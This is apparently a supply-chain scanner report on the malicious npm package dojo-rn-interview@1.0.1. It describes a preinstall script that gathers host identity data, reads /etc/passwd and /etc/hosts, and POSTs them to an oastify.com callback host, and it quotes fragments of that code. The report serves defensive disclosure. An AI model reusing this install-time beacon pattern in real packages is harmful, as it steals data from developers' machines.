dojo-rn-interview@1.0.1: Malicious npm security report (Block)

OSV Malicious Advisory

scanned 8d ago · by OpenSSF/OSV

OpenSSF/OSV advisory MAL-2026-13549 confirms this npm version as malicious. dojo-rn-interview@1.0.1 declares a preinstall script that runs index.js on `npm install`. The script collects host identifiers via os.hostname(), os.userInfo(), os.homedir(), __dirname, and DNS server list, and reads the installer's /etc/passwd and /etc/hosts files, then POSTs the collected data over HTTPS to the hardcoded Burp Collaborator subdomain kqepxa9s4krgw7e7b6f7kufiy943stgi.oastify.com...

Advisory

MAL-2026-13549

Source

OpenSSF Malicious Packages via OSV

Summary

Malicious code in dojo-rn-interview (npm)

Details

dojo-rn-interview@1.0.1 declares a preinstall script that runs index.js on `npm install`. The script collects host identifiers via os.hostname(), os.userInfo(), os.homedir(), __dirname, and DNS server list, and reads the installer's /etc/passwd and /etc/hosts files, then POSTs the collected data over HTTPS to the hardcoded Burp Collaborator subdomain kqepxa9s4krgw7e7b6f7kufiy943stgi.oastify.com. The package name and behavior are consistent with a dependency-confusion reconnaissance beacon targeting internal build systems.

Decision reason

One or more suspicious static signals were detected.; source matched previously finalized malicious package; routed for review; source fingerprint signature matched known malicious package; routed for review

References

OSV advisory PACKAGE

Decision evidence

public snapshot

Behavioral surface

Source

FilesystemNetwork

Supply chain

HighEntropyStrings

ManifestNo manifest risk signals triggered.

scanned 1 file(s), 1.97 KB of source

Source & flagged code

5 flagged

package.jsonView file

•scripts.preinstall = node index.js

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

index.jsView file

1const os = require("os"); L2: const dns = require("dns"); L3: const fs = require("fs"); L4: const https = require("https"); L5: const packageJSON = require("./package.json"); L6: const packageName = packageJSON.name; ... L10: p: packageName, // Package name L11: c: __dirname, // Directory where the package is installed L12: hd: os.homedir(), // Home directory on the remote server L13: hn: os.hostname(), // Hostname of the remote server L14: un: os.userInfo().username, // Username on the remote server ... L17: pjson: packageJSON, // Full package.json data

High

Host Fingerprint Exfiltration

Source collects local host identity data and sends it to an external endpoint.

index.jsView on unpkg · L1

•Trigger-reachable fixed external POST callback chain: scripts.preinstall -> index.js const https = require("https"); const trackingData = JSON.stringify({ // Prepare the POST request data var postData = JSON.stringify({ hostname: "[redacted].oastify.com", // Burp Collaborator server method: "POST", "Content-Length": postData.length, // Send the data via HTTPS POST request

High

Trigger Reachable External Post Callback

A manifest entrypoint or package-local install chain reaches a fixed external POST callback.

index.jsView on unpkg

•matchType = normalized_sha256 matchedPackage = boardwalk-js-tests@1.1.1 matchedPath = index.js matchedIdentity = npm:Ym9hcmR3YWxrLWpzLXRlc3Rz:1.1.1 similarity = 1.000 summary = normalized source hash matched finalized malicious source

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

index.jsView on unpkg

•matchType = malicious_source_fingerprint_signature signature = 5442fb9217b0dd0a signatureType = suspicious_hashes sourceLabel = final_verdict:malicious matchedPackage = boardwalk-js-tests@1.1.1 matchedPath = index.js matchedIdentity = npm:Ym9hcmR3YWxrLWpzLXRlc3Rz:1.1.1 similarity = 1.000 shingleOverlap = 1 summary = package final verdict is malicious

High

Known Malware Source Fingerprint Signature

Source fingerprint signature matches a known malicious package signature; route for source-aware review.

index.jsView on unpkg

Source & flagged code

5 flagged · loading source

package.jsonView file

•scripts.preinstall = node index.js

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

index.jsView file

1const os = require("os"); L2: const dns = require("dns"); L3: const fs = require("fs"); L4: const https = require("https"); L5: const packageJSON = require("./package.json"); L6: const packageName = packageJSON.name; ... L10: p: packageName, // Package name L11: c: __dirname, // Directory where the package is installed L12: hd: os.homedir(), // Home directory on the remote server L13: hn: os.hostname(), // Hostname of the remote server L14: un: os.userInfo().username, // Username on the remote server ... L17: pjson: packageJSON, // Full package.json data

High

Host Fingerprint Exfiltration

Source collects local host identity data and sends it to an external endpoint.

index.jsView on unpkg · L1

•Trigger-reachable fixed external POST callback chain: scripts.preinstall -> index.js const https = require("https"); const trackingData = JSON.stringify({ // Prepare the POST request data var postData = JSON.stringify({ hostname: "[redacted].oastify.com", // Burp Collaborator server method: "POST", "Content-Length": postData.length, // Send the data via HTTPS POST request

Findings

5 High1 Medium3 Low

HighInstall Time Lifecycle Scriptspackage.json

HighHost Fingerprint Exfiltrationindex.js

HighTrigger Reachable External Post Callbackindex.js

HighKnown Malware Source Similarityindex.js

HighKnown Malware Source Fingerprint Signatureindex.js

MediumNetwork

LowScripts Present

LowFilesystem

LowHigh Entropy Strings